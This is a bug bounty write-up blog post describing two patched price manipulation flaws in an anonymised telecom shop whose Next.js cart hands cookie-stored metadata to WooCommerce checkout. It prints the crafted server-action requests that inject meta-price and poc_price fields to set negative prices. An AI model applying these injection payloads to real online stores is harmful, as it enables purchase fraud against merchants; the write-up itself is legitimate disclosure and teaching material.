../../../blog/when-the-price-goes-wrong
Published on

When the Price Goes Wrong: $9K from 2 Price Manipulation

1116 words6 min read–––
Views
Authors
Price Manipulation Banner

Hello everyone, it’s Ayoub! You may know me as a00n.

Welcome to my new blog! It’s been a while since my last write-up, and I’m excited to share this one with you.

In this post, I’ll walk you through two price manipulation vulnerabilities I discovered in a public bug bounty program. These issues allowed me to purchase any item on the website for free — yes, really.

Without further ado, let’s dive right into it!


Putting Things into Perspective

It all started when I was looking for a new program to hunt on. Instead of going for something completely new, I decided to revisit a target I already knew well — a telecom company that sells smartphones and SIM cards.

For the sake of this write-up, I’ll refer to the domain as target.com.

When I checked back in, I noticed that the application had undergone some major changes. Originally, the entire site was built with WordPress and WooCommerce. But this time, I saw that they had started integrating Next.js into the stack.

After taking a closer look, I found that almost every major page (homepage, cart, plans, and more) had been fully rebuilt using Next.js. The only exception? The checkout page, which was still running on the original WordPress and WooCommerce setup.

The Checkout Process

While I was still able to land a few more XSS bugs on the target, I wanted to push further and find something more impactful. So, I decided to shift my focus to the checkout process.

When you add an item to the cart on target.com, you're redirected to the cart page. From there, users can perform four key actions:

  1. Duplicate an item
  2. Remove an item
  3. Modify item data
  4. Apply a BXGX (Buy X Get X Free) deal — more on that later

Since the cart is now built using Next.js, all of these actions are handled through Next.js server actions.

While exploring the modify item data functionality, I intercepted the following request:

POST /cart/ HTTP/1.1
Host: target.com
Next-Action: 7f41856c9ed310a683357be0f9d0c4fc5780941dce
Content-Type: multipart/form-data; boundary=---------------------------696247311252246052748959788
Content-Length: 3005

-----------------------------696247311252246052748959788
Content-Disposition: form-data; name="1_$ACTION_KEY"

k2552329091
-----------------------------696247311252246052748959788
Content-Disposition: form-data; name="1_change_metaData"

{"itemId":9119741,"meta-sim_type":"esim","meta-brand":"Apple","meta-model":"iPhone 11"}
-----------------------------696247311252246052748959788--


The response returned a JSON object like this:


{
    "cartItems": [{
        ...,
        "name":"12 Month, Unlimited - SIM Kit",
        "sku":"UNLIMITED-12",
        "slug":"12-month-unlimited-sim-card-plan",
        "price":300,
        "regularPrice":300,
        "metaData": [{
            "key": "sim_type",
            "value": "psim"
        }, {
            "key": "planProductId",
            "value": "743127"
        }, {
            "key": "brand",
            "value": "Apple"
        }, {
            "key": "model",
            "value": "iPhone 11"
        }, {
            "key": "funnel",
            "value": "UNLIMITED-12"
        }, {
            "key": "unique_key",
            "value": "1d12170e-fa7a-4873-8143-433b02334857"
        }],
        "itemId": 14779454,
        "isVirtual": false
    }],
    "subtotal": 300,
    "cartCount": 1,
    "virtualOrder": false
}

From this, it was clear that the backend was parsing the JSON body and automatically merging any field prefixed with meta- into the metaData array of the cart item. Essentially, the application blindly trusted and injected user-supplied metadata into the cart structure.

The First Bug

My first instinct was to test for prototype pollution by injecting meta-__proto__, but that didn’t yield any results.

Then I had a different idea: what if I appended the meta- prefix to all the existing properties of a cart item and changed their values? I constructed a payload to mirror the original object but modified each value and sent it off to see what would happen

I crafted a request that looked like this:

POST /cart/ HTTP/1.1
Host: target.com
Next-Action: 7f41856c9ed310a683357be0f9d0c4fc5780941dce
Content-Type: multipart/form-data; boundary=---------------------------696247311252246052748959788
Content-Length: 3005

-----------------------------696247311252246052748959788
Content-Disposition: form-data; name="1_$ACTION_KEY"

k2552329091
-----------------------------696247311252246052748959788
Content-Disposition: form-data; name="1_change_metaData"

{"itemId":14779454,"meta-esimOverride":"7000837","meta-regularPrice":"-779","meta-lp_override_price":"-779","meta-bundle_item_type":"plan","meta-lp_override_sku":"UNLIMITED-12-BD6G6","meta-bundle_item_type":"plan","meta-gid":"qxb507nfm752s3cm","meta-price":"-779"}
-----------------------------696247311252246052748959788--


Once submitted, I observed that all of the custom meta- values were properly injected into the metaData field in the server's response. However, when I navigated back to the cart page — everything appeared normal. The item’s price remained unchanged, and there was no visible impact.

Price Manipulation

But then I proceeded to checkout… and BOOM!! the price was updated to -779. I was able to submit an order for free.

Price Manipulation

This behavior clearly indicated that, during the checkout process, there was some kind of data handoff between the Next.js application and the Wordpress application.

Since there was no authentication mechanism in place, all cart data was stored client-side in cookies. When the user proceeded to checkout, WordPress read the cart contents directly from the cookie and rebuilt the cart server-side, making the items available for purchase through WooCommerce.

The wordpress application blindly copies over the metaData from the cart and merges it into the item’s core properties including price-related fields.

I reported the bug to the program and continued hunting, as always. 😉

The Second Bug

As I continued hunting, I came across another interesting Next.js server action, this time related to the Buy One, Get One Free (BXGX) offer.

The application allows users to add a free item to the cart after adding an item to the cart. When you click the button to claim the free item, the application sends the following request:

POST /cart/ HTTP/1.1
Host: target.com
Next-Action: 7f41856c9ed310a683357be0f9d0c4fc5780941dce
Content-Type: multipart/form-data; boundary=---------------------------696247311252246052748959788
Content-Length: 3005

-----------------------------696247311252246052748959788
Content-Disposition: form-data; name="1_$ACTION_KEY"

k2552329091
-----------------------------696247311252246052748959788
Content-Disposition: form-data; name="1_bxgx_offer"

[{"key":"sim_type","value":"esim"},{"key":"brand","value":"Apple"},{"key":"model","value":"iPhone 11"}]
-----------------------------696247311252246052748959788--


This behavior mirrored the earlier vulnerability: the backend would parse the 1_bxgx_offer parameter, create a new cart item, and inject the data directly into the metaData field.

But this time, I noticed something different.

In the response, the new item’s metaData included a previously unseen field: poc_price. That caught my attention.

I tested a simple manipulation by injecting a custom poc_price value directly into the request payload:

Price Manipulation

And just like that. I was able to set the price of the free item to a negative value, which effectively reduced the total price of the entire cart:

Price Manipulation

I reported this second vulnerability as well, and within a day, both issues were patched. Al Hamdulillah, I was also awarded a bounty for the findings.

Price Manipulation

Final Thoughts

Always dig deep into the inner workings of the application and take time to understand the tech stack the team is using and learn it yourself. Even if you don’t find a vulnerability, you’ll come away with valuable new knowledge.

📢 Follow me on X and LinkedIn to stay updated!

Thank you for reading.

Al hamduliLlah, the praise belongs exclusively to Him.

Remember. There's No Make It Secure